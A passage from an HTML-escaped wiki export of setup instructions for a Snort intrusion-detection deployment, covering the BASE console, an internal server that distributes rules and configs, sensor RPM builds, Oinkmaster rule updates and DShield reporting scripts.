"&lt;a href="http://192.168.4.10/" mce_href="/"&gt;http://&lt;/a&gt;&lt;your&gt;/base";&lt;/i&gt;&lt;br /&gt;   &lt;b&gt;set &lt;a href="http://192.168.4.10/wiki/index.php?%24DBlib_path" mce_href="wiki/index.php?%24DBlib_path"&gt;$DBlib_path&lt;/a&gt; to the ADODB path&lt;/b&gt;&lt;br /&gt;   &lt;i&gt;&lt;a href="http://192.168.4.10/wiki/index.php?%24DBlib_path" mce_href="wiki/index.php?%24DBlib_path"&gt;$DBlib_path&lt;/a&gt; = "/var/www/adodb";&lt;/i&gt;&lt;br /&gt;   &lt;b&gt;set &lt;a href="http://192.168.4.10/wiki/index.php?%24DBtype" mce_href="wiki/index.php?%24DBtype"&gt;$DBtype&lt;/a&gt; to the MySQL&lt;/b&gt;&lt;br /&gt;   &lt;i&gt;&lt;a href="http://192.168.4.10/wiki/index.php?%24DBtype" mce_href="wiki/index.php?%24DBtype"&gt;$DBtype&lt;/a&gt; = "mysql";&lt;/i&gt;&lt;br /&gt;   &lt;b&gt;set the alert and archive databases to their requisite database and access settings.&lt;/b&gt;&lt;br /&gt;   &lt;b&gt;set &lt;a href="http://192.168.4.10/wiki/index.php?%24ChartLib_path" mce_href="wiki/index.php?%24ChartLib_path"&gt;$ChartLib_path&lt;/a&gt; to the JPGraph path&lt;/b&gt;&lt;br /&gt;   &lt;i&gt;&lt;a href="http://192.168.4.10/wiki/index.php?%24ChartLib_path" mce_href="wiki/index.php?%24ChartLib_path"&gt;$ChartLib_path&lt;/a&gt; = "/var/www/jpgraph/src";&lt;/i&gt;&lt;br /&gt;   &lt;b&gt;Save and exit&lt;/b&gt; &lt;/pre&gt; &lt;p&gt; Open a browser and navigate to your site. On first access, BASE will ask to install the requisite tables and alert data into the database. Press the Setup button. On successive accesses, this will already exist and BASE will go straight to the analytics page. &lt;/p&gt; &lt;pre&gt; &lt;i&gt;&lt;a href="http://192.168.4.10/" mce_href="/"&gt;http://&lt;/a&gt;&lt;your&gt;/base&lt;/i&gt; &lt;/pre&gt;&lt;p&gt; &lt;/p&gt;&lt;h1&gt;&lt;a href="http://192.168.4.10/wiki/index.php?refs=Centralized%20Rule%20%26%20Configuration%20Distribution" mce_href="wiki/index.php?refs=Centralized%20Rule%20%26%20Configuration%20Distribution"&gt;Centralized Rule &amp;amp; Configuration Distribution&lt;/a&gt;&lt;/h1&gt;&lt;p&gt; &lt;b&gt;CREATE A CENTRALIZED DISTRIBUTION WEB SERVER&lt;/b&gt; &lt;/p&gt; &lt;p&gt; &lt;b&gt;This is a very insecure setup and is not intended for a public-facing server. Only use this for an internal server. Please use appropriate security precautions.&lt;/b&gt; &lt;/p&gt; &lt;p&gt; &lt;i&gt;These examples assume a default webroot installation at /var/www/html.&lt;/i&gt; &lt;/p&gt; &lt;p&gt; If necessary, install the web package and start the service. &lt;/p&gt; &lt;pre&gt; &lt;i&gt;yum install httpd&lt;/i&gt;&lt;br /&gt; &lt;i&gt;service httpd start&lt;/i&gt; &lt;/pre&gt; &lt;p&gt; Create a 'snort' directory and subdirectories. &lt;/p&gt; &lt;pre&gt; &lt;i&gt;cd /var/www/html&lt;/i&gt;&lt;br /&gt; &lt;i&gt;mkdir -p snort/rules&lt;/i&gt;&lt;br /&gt; &lt;i&gt;mkdir -p snort/bleedingedge&lt;/i&gt;&lt;br /&gt; &lt;i&gt;mkdir -p snort/oinkmaster&lt;/i&gt;&lt;br /&gt; &lt;i&gt;mkdir -p snort/rpm&lt;/i&gt;&lt;br /&gt; &lt;i&gt;mkdir -p snort/config&lt;/i&gt;&lt;br /&gt; &lt;i&gt;cd snort&lt;/i&gt; &lt;/pre&gt; &lt;p&gt; Get the basic packages needed to create a drone.  This &lt;a href="http://192.168.4.10/wiki/index.php?snort_mirror.sh" mce_href="wiki/index.php?snort_mirror.sh"&gt;snort_mirror.sh&lt;/a&gt; sample script will pull mirrors of the relavent rule files from snort.org and bleedingsnort.org. &lt;/p&gt; &lt;pre&gt; &lt;i&gt;/usr/local/bin/snort_mirror.sh&lt;/i&gt; &lt;/pre&gt; &lt;p&gt; Schedule the mirror script to be run with cron. &lt;/p&gt; &lt;pre&gt; &lt;i&gt;crontab -e&lt;/i&gt;&lt;br /&gt; &lt;i&gt;0 5 * * * /usr/local/bin/snort_mirror.sh;&lt;/i&gt; &lt;/pre&gt; &lt;p&gt; Fill in the config and rpm directories.  These are the master files.  Use the RPMS from the &lt;a href="http://192.168.4.10/wiki/index.php?SensorInstallation" mce_href="wiki/index.php?SensorInstallation"&gt;SensorInstallation&lt;/a&gt; process. &lt;/p&gt; &lt;pre&gt; &lt;i&gt;cd /var/www/html/snort/rpm&lt;/i&gt;&lt;br /&gt; &lt;i&gt;cp /usr/src/redhat/RPMS/i386/snort-2.3.0-0.fdr.1.i386.rpm .&lt;/i&gt;&lt;br /&gt; &lt;i&gt;cp /usr/src/redhat/RPMS/i386/snort-debuginfo-2.3.0-0.fdr.1.i386.rpm .&lt;/i&gt;&lt;br /&gt; &lt;i&gt;cp /usr/src/redhat/RPMS/i386/snort-mysql-2.3.0-0.fdr.1.i386.rpm .&lt;/i&gt;&lt;br /&gt; &lt;i&gt;cd ../config&lt;/i&gt;&lt;br /&gt; &lt;i&gt;cp /etc/oinkmaster.conf .&lt;/i&gt; &lt;/pre&gt; &lt;p&gt; Change oinkmaster.conf to point to &lt;a href="http://192.168.4.10/" mce_href="/"&gt;http://&lt;/a&gt;&lt;your&gt;/snort/rules/snort-snapshot-2_3.tar.gz. &lt;/p&gt; &lt;p&gt; &lt;b&gt;***Note, this file contains passwords that grant access to the snort database.  Perhaps an encrypted transport would be better.&lt;/b&gt; &lt;/p&gt; &lt;pre&gt; &lt;i&gt;cp /etc/snort/snort.conf .&lt;/i&gt; &lt;/pre&gt; &lt;p&gt; Populate oinkmaster for distribution.  Use the oinkmaster files from the &lt;a href="http://192.168.4.10/wiki/index.php?OinkmasterRuleUpdates" mce_href="wiki/index.php?OinkmasterRuleUpdates"&gt;OinkmasterRuleUpdates&lt;/a&gt; process. &lt;/p&gt; &lt;pre&gt; &lt;i&gt;cd /var/www/html/snort/oinkmaster&lt;/i&gt;&lt;br /&gt; &lt;i&gt;cp /usr/local/src/oinkmaster/oinkmaster.pl .&lt;/i&gt;&lt;br /&gt; &lt;i&gt;cp /usr/local/bin/oinkmaster.sh .&lt;/i&gt; &lt;/pre&gt; &lt;p&gt; Change the oinkmaster.sh file to point to &lt;a href="http://192.168.4.10/" mce_href="/"&gt;http://&lt;/a&gt;&lt;your&gt;/snort/bleedingedge/bleeding.rules.tar.gz. &lt;/p&gt; &lt;p&gt; &lt;b&gt;USING THE CENTRAL SERVER&lt;/b&gt; &lt;/p&gt; &lt;p&gt; From the sensor machine, get the files needed to install the snort drone and install.  Or just run this &lt;a href="http://192.168.4.10/wiki/index.php?drone_install.sh" mce_href="wiki/index.php?drone_install.sh"&gt;drone_install.sh&lt;/a&gt; script for all of the below steps. &lt;/p&gt; &lt;pre&gt; &lt;i&gt;cd /usr/local/src&lt;/i&gt;&lt;br /&gt; &lt;i&gt;wget &lt;a href="http://192.168.4.10/" mce_href="/"&gt;http://&lt;/a&gt;&lt;your&gt;/snort/rpm/snort-2.3.0-0.fdr.1.i386.rpm&lt;/i&gt;&lt;br /&gt; &lt;i&gt;wget &lt;a href="http://192.168.4.10/" mce_href="/"&gt;http://&lt;/a&gt;&lt;your&gt;/snort/rpm/snort-debuginfo-2.3.0-0.fdr.1.i386.rpm&lt;/i&gt;&lt;br /&gt; &lt;i&gt;wget &lt;a href="http://192.168.4.10/" mce_href="/"&gt;http://&lt;/a&gt;&lt;your&gt;/snort/rpm/snort-mysql-2.3.0-0.fdr.1.i386.rpm&lt;/i&gt;&lt;br /&gt; &lt;i&gt;rpm -ivh snort-2.3.0-0.fdr.1.i386.rpm snort-mysql-2.3.0-0.fdr.1.i386.rpm snort-debuginfo-2.3.0-0.fdr.1.i386.rpm&lt;/i&gt; &lt;/pre&gt; &lt;p&gt; On the drone, set up oinkmaster. &lt;/p&gt; &lt;pre&gt; &lt;i&gt;cd /etc&lt;/i&gt;&lt;br /&gt; &lt;i&gt;wget &lt;a href="http://192.168.4.10/" mce_href="/"&gt;http://&lt;/a&gt;&lt;your&gt;/snort/config/oinkmaster.conf&lt;/i&gt;&lt;br /&gt; &lt;i&gt;cd /usr/local/bin&lt;/i&gt;&lt;br /&gt; &lt;i&gt;wget &lt;a href="http://192.168.4.10/" mce_href="/"&gt;http://&lt;/a&gt;&lt;your&gt;/snort/oinkmaster/oinkmaster.pl&lt;/i&gt;&lt;br /&gt; &lt;i&gt;wget &lt;a href="http://192.168.4.10/" mce_href="/"&gt;http://&lt;/a&gt;&lt;your&gt;/snort/oinkmaster/oinkmaster.sh&lt;/i&gt; &lt;/pre&gt; &lt;p&gt; Set up the snort files. &lt;/p&gt; &lt;pre&gt; &lt;i&gt;cd /etc/rc.d/init.d&lt;/i&gt;&lt;br /&gt; &lt;i&gt;wget &lt;a href="http://192.168.4.10/" mce_href="/"&gt;http://&lt;/a&gt;&lt;your&gt;/snort/config/snortd&lt;/i&gt;&lt;br /&gt; &lt;i&gt;cd /etc/snort&lt;/i&gt;&lt;br /&gt; &lt;i&gt;wget &lt;a href="http://192.168.4.10/" mce_href="/"&gt;http://&lt;/a&gt;&lt;your&gt;/snort/config/snort.conf&lt;/i&gt;&lt;br /&gt; &lt;i&gt;cd /etc/sysconfig&lt;/i&gt;&lt;br /&gt; &lt;i&gt;wget &lt;a href="http://192.168.4.10/" mce_href="/"&gt;http://&lt;/a&gt;&lt;your&gt;/snort/config/snort&lt;/i&gt; &lt;/pre&gt; &lt;p&gt; Set it up for boot and run it. &lt;/p&gt; &lt;pre&gt; &lt;i&gt;chkconfig snortd on&lt;/i&gt;&lt;br /&gt; &lt;i&gt;service snortd start&lt;/i&gt; &lt;/pre&gt; &lt;p&gt; Check the log for errors. &lt;/p&gt; &lt;pre&gt; &lt;i&gt;cat /var/log/messages | grep snort&lt;/i&gt; &lt;/pre&gt; &lt;p&gt; &lt;b&gt;UPDATING THE DRONES&lt;/b&gt; &lt;/p&gt; &lt;p&gt; A cron job will need to be set up to automatically update the configuration files, rules, and restart snort. The job will need to retrieve oinkmaster and snort configuration changes and update the rules. It will then need to restart snort for the changes to take effect. A cron job like this &lt;a href="http://192.168.4.10/wiki/index.php?drone_update.sh" mce_href="wiki/index.php?drone_update.sh"&gt;drone_update.sh&lt;/a&gt; script should do the trick. This will be run as root because of the service restart at the end, which needs root privileges. Only make changes to the master server if you've thoroughly tested the effect in a comparably configured test drone or you'll run the risk of killing all of the sensors! &lt;/p&gt; &lt;pre&gt; &lt;i&gt;crontab -e&lt;/i&gt;&lt;br /&gt;   &lt;b&gt;15 2 * * * /usr/local/bin/drone_update.sh&lt;/b&gt; &lt;/pre&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;h1&gt;&lt;a href="http://192.168.4.10/wiki/index.php?refs=SensorInstallation" mce_href="wiki/index.php?refs=SensorInstallation"&gt;Sensor Installation&lt;/a&gt;&lt;/h1&gt;&lt;p&gt; &lt;b&gt;SENSOR INSTALLATION&lt;/b&gt; &lt;/p&gt; &lt;p&gt; Install these packages to satisfy dependancies. &lt;/p&gt; &lt;pre&gt; &lt;i&gt;yum install mysql&lt;/i&gt;&lt;br /&gt; &lt;i&gt;yum install mysql-devel&lt;/i&gt;&lt;br /&gt; &lt;i&gt;yum install pcre&lt;/i&gt;&lt;br /&gt; &lt;i&gt;yum install pcre-devel&lt;/i&gt; &lt;/pre&gt; &lt;p&gt; Download the latest PCRE package from &lt;a href="http://www.pcre.org/" mce_href="http://www.pcre.org/"&gt;http://www.pcre.org&lt;/a&gt;. This will provide the libpcre.h file required for the RPM build.  Current version tested with is version 5.0. &lt;/p&gt; &lt;pre&gt; &lt;i&gt;cd /usr/local/src&lt;/i&gt;&lt;br /&gt; &lt;i&gt;wget &lt;a href="http://192.168.4.10/" mce_href="/"&gt;http://&lt;/a&gt;&lt;sf&gt;/sourceforge/pcre/pcre-5.0.tar.gz&lt;/i&gt; &lt;/pre&gt; &lt;p&gt; Untar, build and install. &lt;/p&gt; &lt;pre&gt; &lt;i&gt;tar xvfz /usr/local/src/pcre-5.0.tar.gz&lt;/i&gt;&lt;br /&gt; &lt;i&gt;cd pcre-5.0&lt;/i&gt;&lt;br /&gt; &lt;i&gt;./configure&lt;/i&gt;&lt;br /&gt; &lt;i&gt;make&lt;/i&gt;&lt;br /&gt; &lt;i&gt;make check&lt;/i&gt;&lt;br /&gt; &lt;i&gt;make install&lt;/i&gt; &lt;/pre&gt; &lt;p&gt; Download the snort source from &lt;a href="http://www.snort.org/" mce_href="http://www.snort.org/"&gt;http://www.snort.org&lt;/a&gt;.  Current version tested with is version 2.3.0. &lt;/p&gt; &lt;pre&gt; &lt;i&gt;wget &lt;a href="http://www.snort.org/dl/snort-2.3.0.tar.gz" mce_href="http://www.snort.org/dl/snort-2.3.0.tar.gz"&gt;http://www.snort.org/dl/snort-2.3.0.tar.gz&lt;/a&gt;&lt;/i&gt; &lt;/pre&gt; &lt;p&gt; Untar the archive and enter the directory. &lt;/p&gt; &lt;pre&gt; &lt;i&gt;tar xvfz /usr/local/src/snort-2.3.0.tar.gz&lt;/i&gt;&lt;br /&gt; &lt;i&gt;cd snort-2.3.0&lt;/i&gt; &lt;/pre&gt; &lt;p&gt; Configure and make the source files. &lt;/p&gt; &lt;pre&gt; &lt;i&gt;./configure&lt;/i&gt;&lt;br /&gt; &lt;i&gt;make&lt;/i&gt;&lt;br /&gt; &lt;i&gt;make check&lt;/i&gt; &lt;/pre&gt; &lt;p&gt; Change to the 'rpm' directory.  Create the RPMS for install. &lt;/p&gt; &lt;pre&gt; &lt;i&gt;cd rpm&lt;/i&gt;&lt;br /&gt; &lt;i&gt;rpmbuild --with fedora --with mysql -ta /usr/local/src/snort-2.3.0.tar.gz&lt;/i&gt; &lt;/pre&gt; &lt;p&gt; Install the RPMS. &lt;/p&gt; &lt;pre&gt; &lt;i&gt;rpm -ivh /usr/src/redhat/RPMS/i386/snort-2.3.0-0.fdr.1.i386.rpm /usr/src/redhat/RPMS/i386/snort-debuginfo-2.3.0-0.fdr.1.i386.rpm /usr/src/redhat/RPMS/i386/snort-mysql-2.3.0-0.fdr.1.i386.rpm&lt;/i&gt; &lt;/pre&gt; &lt;p&gt; The &lt;a href="http://192.168.4.10/wiki/index.php?RedHat" mce_href="wiki/index.php?RedHat"&gt;RedHat&lt;/a&gt;-compliant setup makes some assumptions that need to be fixed. Edit the daemon startup script in /etc/rc.d/init.d and remove the $ALERTMODE variable from each start line. &lt;/p&gt; &lt;pre&gt; &lt;i&gt;cd /etc/rc.d/init.d&lt;/i&gt;&lt;br /&gt; &lt;i&gt;vi snortd&lt;/i&gt;&lt;br /&gt;  &lt;b&gt;Remove $ALERTMODE from the start() function calls and save.&lt;/b&gt; &lt;/pre&gt; &lt;p&gt; Edit the snort configuration file.  Add an output for the database. &lt;/p&gt; &lt;pre&gt; &lt;i&gt;cd /etc/snort&lt;/i&gt;&lt;br /&gt; &lt;i&gt;vi snort.conf&lt;/i&gt;&lt;br /&gt;  &lt;b&gt;Change the HOME_NET variable to your public IP address&lt;/b&gt;&lt;br /&gt;  &lt;b&gt;Add the line "output database: log, mysql, user=snort password=&lt;password&gt; dbname=snort host=&lt;your&gt;" to section 3.&lt;/b&gt; &lt;/pre&gt; &lt;pre&gt;  &lt;b&gt;**OPTIONAL: DSHIELD**&lt;/b&gt;&lt;br /&gt;  &lt;i&gt;You may want to add "output alert_syslog: LOG_AUTH LOG_ALERT" for use with DShield parsing scripts.&lt;/i&gt;&lt;br /&gt;  &lt;b&gt;Save and exit.&lt;/b&gt; &lt;/pre&gt; &lt;p&gt; Test snort. &lt;/p&gt; &lt;pre&gt; &lt;i&gt;snort -T -c /etc/snort/snort.conf&lt;/i&gt; &lt;/pre&gt; &lt;p&gt; If all is well, change the ownership to the snort user.  This will make life easier later. &lt;/p&gt; &lt;pre&gt; &lt;i&gt;chown -R snort:snort /var/log/snort /etc/snort&lt;/i&gt; &lt;/pre&gt; &lt;p&gt; Add snort to the startup regimen and start the service. &lt;/p&gt; &lt;pre&gt; &lt;i&gt;chkconfig snortd add&lt;/i&gt;&lt;br /&gt; &lt;i&gt;service snortd start&lt;/i&gt; &lt;/pre&gt; &lt;p&gt; Final check: check syslog for successful startup messages. &lt;/p&gt; &lt;pre&gt; &lt;i&gt;cat /var/log/messages | grep snort&lt;/i&gt; &lt;/pre&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;h1&gt;&lt;a href="http://192.168.4.10/wiki/index.php?refs=OinkmasterRuleUpdates" mce_href="wiki/index.php?refs=OinkmasterRuleUpdates"&gt;Oinkmaster Rule Updates&lt;/a&gt;&lt;/h1&gt;&lt;p&gt; &lt;b&gt;OINKMASTER INSTALLATION&lt;/b&gt; &lt;/p&gt; &lt;p&gt; Get the latest script from the snort website (&lt;a href="http://www.snort.org/dl/contrib/rule_management/oinkmaster/" mce_href="http://www.snort.org/dl/contrib/rule_management/oinkmaster/"&gt;http://www.snort.org/dl/contrib/rule_management/oinkmaster/&lt;/a&gt;).  Untar it. &lt;/p&gt; &lt;pre&gt; &lt;i&gt;cd /usr/local/src&lt;/i&gt;&lt;br /&gt; &lt;i&gt;wget &lt;a href="http://www.snort.org/dl/contrib/rule_management/oinkmaster/oinkmaster-1.1.tar.gz" mce_href="http://www.snort.org/dl/contrib/rule_management/oinkmaster/oinkmaster-1.1.tar.gz"&gt;http://www.snort.org/dl/contrib/rule_management/oinkmaster/oinkmaster-1.1.tar.gz&lt;/a&gt;&lt;/i&gt;&lt;br /&gt; &lt;i&gt;tar xvfz oinkmaster-1.1.tar.gz&lt;/i&gt;&lt;br /&gt; &lt;i&gt;ln -s oinkmaster-1.1 oinkmaster&lt;/i&gt;&lt;br /&gt; &lt;i&gt;cd oinkmaster&lt;/i&gt; &lt;/pre&gt; &lt;p&gt; Install the script into one of the local binary directories.  I prefer /usr/local/bin. &lt;/p&gt; &lt;pre&gt; &lt;i&gt;cp oinkmaster.pl /usr/local/bin&lt;/i&gt; &lt;/pre&gt; &lt;p&gt; Modify and install the configuration file. &lt;/p&gt; &lt;pre&gt; &lt;i&gt;vi oinkmaster.conf&lt;/i&gt;&lt;br /&gt;  &lt;b&gt;Set url to the path of your snort version&lt;/b&gt;&lt;br /&gt;  &lt;b&gt;url = &lt;a href="http://www.snort.org/dl/rules/snortrules-snapshot-2_3.tar.gz" mce_href="http://www.snort.org/dl/rules/snortrules-snapshot-2_3.tar.gz"&gt;http://www.snort.org/dl/rules/snortrules-snapshot-2_3.tar.gz&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;  &lt;b&gt;Save and exit.&lt;/b&gt;&lt;br /&gt; &lt;i&gt;cp oinkmaster.conf /etc/&lt;/i&gt; &lt;/pre&gt; &lt;p&gt; To add some additional functionality to oinkmaster, you might want to write a script. This would allow for updates from multiple sites (say Bleeding Edge and Snort.org), mail notification, logging and so forth. Here's my sample &lt;a href="http://192.168.4.10/wiki/index.php?oinkmaster.sh" mce_href="wiki/index.php?oinkmaster.sh"&gt;oinkmaster.sh&lt;/a&gt; script. &lt;/p&gt; &lt;pre&gt; &lt;i&gt;wget &lt;a href="http://www.hunt-family.net/oinkmaster.sh" mce_href="http://www.hunt-family.net/oinkmaster.sh"&gt;http://www.hunt-family.net/oinkmaster.sh&lt;/a&gt;&lt;/i&gt;&lt;br /&gt; &lt;i&gt;vi oinkmaster.sh&lt;/i&gt;&lt;br /&gt;  &lt;b&gt;Change the email address to your own.&lt;/b&gt;&lt;br /&gt;  &lt;b&gt;Save and exit.&lt;/b&gt;&lt;br /&gt; &lt;i&gt;cp oinkmaster.sh /usr/local/bin&lt;/i&gt; &lt;/pre&gt; &lt;p&gt; Schedule the script to run at a time of your choosing with cron, preferably as the 'snort' user. &lt;/p&gt; &lt;pre&gt; &lt;i&gt;crontab -e -u snort&lt;/i&gt;&lt;br /&gt;  &lt;b&gt;07 01 * * * /usr/local/bin/oinkmaster.sh&lt;/b&gt;&lt;br /&gt;  &lt;b&gt;Save and exit.&lt;/b&gt; &lt;/pre&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;h1&gt;&lt;a href="http://192.168.4.10/wiki/index.php?refs=D-Shield%20Integration" mce_href="wiki/index.php?refs=D-Shield%20Integration"&gt;D-Shield Integration&lt;/a&gt;&lt;/h1&gt;  &lt;p&gt; &lt;/p&gt;&lt;h3&gt; Integrating Snort with DShield for Automated Reporting of Violators to ISPs. &lt;/h3&gt;&lt;p&gt; &lt;b&gt;OVERVIEW&lt;/b&gt; &lt;/p&gt; &lt;p&gt; DShield is an organization dedicated to monitoring Internet threats from the same folks that update the Internet Storm Center (&lt;a href="http://isc.sans.org/" mce_href="http://isc.sans.org/"&gt;http://isc.sans.org&lt;/a&gt;). In fact, much of the data presented on the Internet Storm Center is from the DShield collaborative. For more information or reasons why you should contribute to DShield, visit thier site at &lt;a href="http://dshield.org/" mce_href="http://dshield.org/"&gt;http://dshield.org&lt;/a&gt;. &lt;/p&gt; &lt;p&gt; &lt;b&gt;GET THE SCRIPTS&lt;/b&gt; &lt;/p&gt; &lt;p&gt; Navigate to &lt;a href="http://www.dshield.org/howto.php" mce_href="http://www.dshield.org/howto.php"&gt;http://www.dshield.org/howto.php&lt;/a&gt; and download the client of choice. For this example, I've used the "Linux 2.4x iptables," "Snort 1.8," and "Snort Portscan" clients. &lt;/p&gt; &lt;pre&gt; &lt;i&gt;cd /usr/local/src&lt;/i&gt;&lt;br /&gt; &lt;i&gt;wget &lt;a href="http://www.dshield.org/clients/framework/iptables.tar.gz" mce_href="http://www.dshield.org/clients/framework/iptables.tar.gz"&gt;http://www.dshield.org/clients/framework/iptables.tar.gz&lt;/a&gt;&lt;/i&gt;&lt;br /&gt; &lt;i&gt;wget &lt;a href="http://www.dshield.org/clients/framework/snort_portscan.tar.gz" mce_href="http://www.dshield.org/clients/framework/snort_portscan.tar.gz"&gt;http://www.dshield.org/clients/framework/snort_portscan.tar.gz&lt;/a&gt;&lt;/i&gt;&lt;br /&gt; &lt;i&gt;wget &lt;a href="http://www.dshield.org/clients/framework/snort_18_syslog.tar.gz" mce_href="http://www.dshield.org/clients/framework/snort_18_syslog.tar.gz"&gt;http://www.dshield.org/clients/framework/snort_18_syslog.tar.gz&lt;/a&gt;&lt;/i&gt; &lt;/pre&gt; &lt;p&gt; &lt;b&gt;REGISTER ON THE SITE&lt;/b&gt; &lt;/p&gt; &lt;p&gt;Click the "Signup" link on the home page. This allows you to receive a nicely formatted daily report on the attacks/scans you have submitted. Registration for the Fightback program is optional, but recommended. This gives the DShield organization permission to submit abuse complaints to ISPs on your behalf. &lt;/p&gt; &lt;p&gt; &lt;b&gt;CONFIGURE AND TEST&lt;/b&gt; &lt;/p&gt; &lt;p&gt; Untar the archives. &lt;/p&gt; &lt;pre&gt; &lt;i&gt;tar xvfz iptables.tar.gz&lt;/i&gt;&lt;br /&gt; &lt;i&gt;tar xfvz snort_18_syslog.tar.gz&lt;/i&gt;&lt;br /&gt; &lt;i&gt;tar xvfz snort_portscan.tar.gz&lt;/i&gt; &lt;/pre&gt; &lt;p&gt;Enter the iptables directory and edit the test.cnf file to fit your environment. Change the "whereto=" line to "whereto=./output.txt". To test the mail delivery of the output, uncomment and enter your email address and local sendmail command. The default is usually sufficient. NOTE: An MTA must be running on the host running the script. Run the test wrapper and review the results in output.txt and debug.txt. &lt;/p&gt; &lt;pre&gt; &lt;i&gt;cd iptables&lt;/i&gt;&lt;br /&gt; &lt;i&gt;vi test.cnf&lt;/i&gt;&lt;br /&gt;  &lt;b&gt;Change 'whereto=' to a local output file.&lt;/b&gt;&lt;br /&gt;  &lt;b&gt;Change the email information and enable the sendmail command.&lt;/b&gt;&lt;br /&gt;  &lt;b&gt;Save and exit.&lt;/b&gt;&lt;br /&gt; &lt;i&gt;./test_wrapper.sh&lt;/i&gt; &lt;/pre&gt; &lt;p&gt;The script should run and deliver output to the local 'output.txt' file. Check it to see if the iptables denials were dumped correctly. To see how the process worked, look at the debug.txt file as well. &lt;/p&gt; &lt;pre&gt; &lt;i&gt;cat output.txt&lt;/i&gt;&lt;br /&gt; &lt;i&gt;cat debug.txt&lt;/i&gt; &lt;/pre&gt; &lt;p&gt;If satisfactory, repeat for the snort and snort portscan scripts. Each of these should read from the /var/log/messages file for different lines. Check your email to see if the email messages delivered properly. &lt;/p&gt; &lt;p&gt; &lt;b&gt;SETTING UP A COMMON CONFIGURATION SET FOR MULTIPLE SCRIPTS&lt;/b&gt; &lt;/p&gt; &lt;p&gt;Create a configuration directory under /etc. Populate it with the source and target exclude files. Also copy the production configuration file. &lt;/p&gt; &lt;pre&gt; &lt;i&gt;cd /usr/local/src/iptables&lt;/i&gt;&lt;br /&gt; &lt;i&gt;mkdir /etc/dshield&lt;/i&gt;&lt;br /&gt; &lt;i&gt;cp *.lst dshield.cnf /etc/dshield/&lt;/i&gt; &lt;/pre&gt; &lt;p&gt;Now modify the exclude files. The source-exclude file should include your private network ranges and any testing Internet servers you may use. The other exclude files are typically fine as they are. &lt;/p&gt; &lt;pre&gt; &lt;i&gt;cd /etc/dshield&lt;/i&gt;&lt;br /&gt; &lt;i&gt;mv dshield.cnf dshield_iptables.cnf&lt;/i&gt;&lt;br /&gt; &lt;i&gt;vi dshield-source-exclude.lst&lt;/i&gt;&lt;br /&gt;  &lt;b&gt;I added GRC Shields Up! scanner to my exclude list since I use it to do most of my Internet-based port scanning.&lt;/b&gt;&lt;br /&gt;  &lt;b&gt;Save and exit.&lt;/b&gt; &lt;/pre&gt; &lt;p&gt;Edit the configuration file for production script use. Enter your email and the user id you received when you registered at the DShield site. Leave the 'to=' field as it is. If you would like to receive a copy of what the script submits, add your email to the 'cc=' line. Set 'whereto=' to 'whereto=MAIL'. Change the path in the 'source_exclude=', 'source_port_exclude', 'target_exclude' and 'target_port_exclude' variables to /etc/dshield/(filename). Make sure 'obfus=N' to use the Fightback service. Set 'verbose=N', but change 'debug=Y' for use as a transcript file later in a later step. &lt;/p&gt; &lt;pre&gt; &lt;i&gt;cp dshield.cnf dshield_iptables.cnf&lt;/i&gt;&lt;br /&gt; &lt;i&gt;vi dshield_iptables.cnf&lt;/i&gt;&lt;br /&gt;  &lt;b&gt;Edit the variables as described above:&lt;/b&gt;&lt;br /&gt;   &lt;b&gt;from=&lt;your&gt;&lt;/b&gt;&lt;br /&gt;   &lt;b&gt;userid=&lt;number&gt;&lt;/b&gt;&lt;br /&gt;   &lt;b&gt;to=report@dshield.org&lt;/b&gt;&lt;br /&gt;   &lt;b&gt;log=/var/log/messages&lt;/b&gt;&lt;br /&gt;   &lt;b&gt;sendmail=/usr/sbin/sendmail -oi -t&lt;/b&gt;&lt;br /&gt;   &lt;b&gt;whereto=MAIL&lt;/b&gt;&lt;br /&gt;   &lt;b&gt;source_exclude=/etc/dshield/dshield-source-exclude.lst&lt;/b&gt;&lt;br /&gt;   &lt;b&gt;target_exclude=/etc/dshield/dshield-target-exclude.lst&lt;/b&gt;&lt;br /&gt;   &lt;b&gt;source_port_exclude=/etc/dshield/dshield-source-port-exclude.lst&lt;/b&gt;&lt;br /&gt;   &lt;b&gt;target_port_exclude=/etc/dshield/dshield-target-port-exclude.lst&lt;/b&gt;&lt;br /&gt;   &lt;b&gt;obfus=N&lt;/b&gt;&lt;br /&gt;   &lt;b&gt;linecnt=/tmp/dshield.cnt&lt;/b&gt;&lt;br /&gt;   &lt;b&gt;verbose=N&lt;/b&gt;&lt;br /&gt;   &lt;b&gt;debug=Y&lt;/b&gt;&lt;br /&gt;   &lt;b&gt;rotate=N&lt;/b&gt;&lt;br /&gt;  &lt;b&gt;Save and exit.&lt;/b&gt; &lt;/pre&gt; &lt;p&gt;Copy the snort and snort portscan config files into the /etc/dshield directory as dshield_snort.cnf and dshield_snort_portscan.cnf files. Perform the same procedure on them, only use dshield_snort.cnt or dshield_portscan.cnt for the linecnt variable. When complete, the /etc/dshield directory should contain the following: &lt;/p&gt; &lt;pre&gt;   &lt;a href="http://192.168.4.10/wiki/index.php?root%40www%20bin" mce_href="wiki/index.php?root%40www%20bin"&gt;root@www bin&lt;/a&gt;# ls -1 /etc/dshield&lt;br /&gt;   dshield_iptables.cnf&lt;br /&gt;   dshield_snort.cnf&lt;br /&gt;   dshield-source-exclude.lst&lt;br /&gt;   dshield-source-port-exclude.lst&lt;br /&gt;   dshield-target-exclude.lst&lt;br /&gt;   dshield-target-port-exclude.lst&lt;br /&gt;   dshield_snort_portscan.cnf&lt;br /&gt;&lt;/pre&gt; &lt;p&gt; &lt;b&gt;CREATING THE PRODUCTION SCRIPTS&lt;/b&gt; &lt;/p&gt; &lt;p&gt; Install the perl scripts into the /usr/bin directory. &lt;/p&gt; &lt;pre&gt;   &lt;i&gt;cd /usr/local/src&lt;/i&gt;&lt;br /&gt;   &lt;i&gt;cp iptables/iptables.pl /usr/bin&lt;/i&gt;&lt;br /&gt;   &lt;i&gt;cp snort_18_syslog/snort_18_syslog.pl /usr/bin&lt;/i&gt;&lt;br /&gt;   &lt;i&gt;cp snort_portscan/snort_portscan.pl /usr/bin&lt;/i&gt; &lt;/pre&gt; &lt;p&gt; Once you have test scripts that work when executed manually, copy the launching scripts into the /usr/local/bin folder. &lt;/p&gt; &lt;pre&gt;   &lt;i&gt;cd /usr/local/src&lt;/i&gt;&lt;br /&gt;   &lt;i&gt;cp iptables/test_wrapper.sh /usr/local/bin/dshield_iptables&lt;/i&gt;&lt;br /&gt;   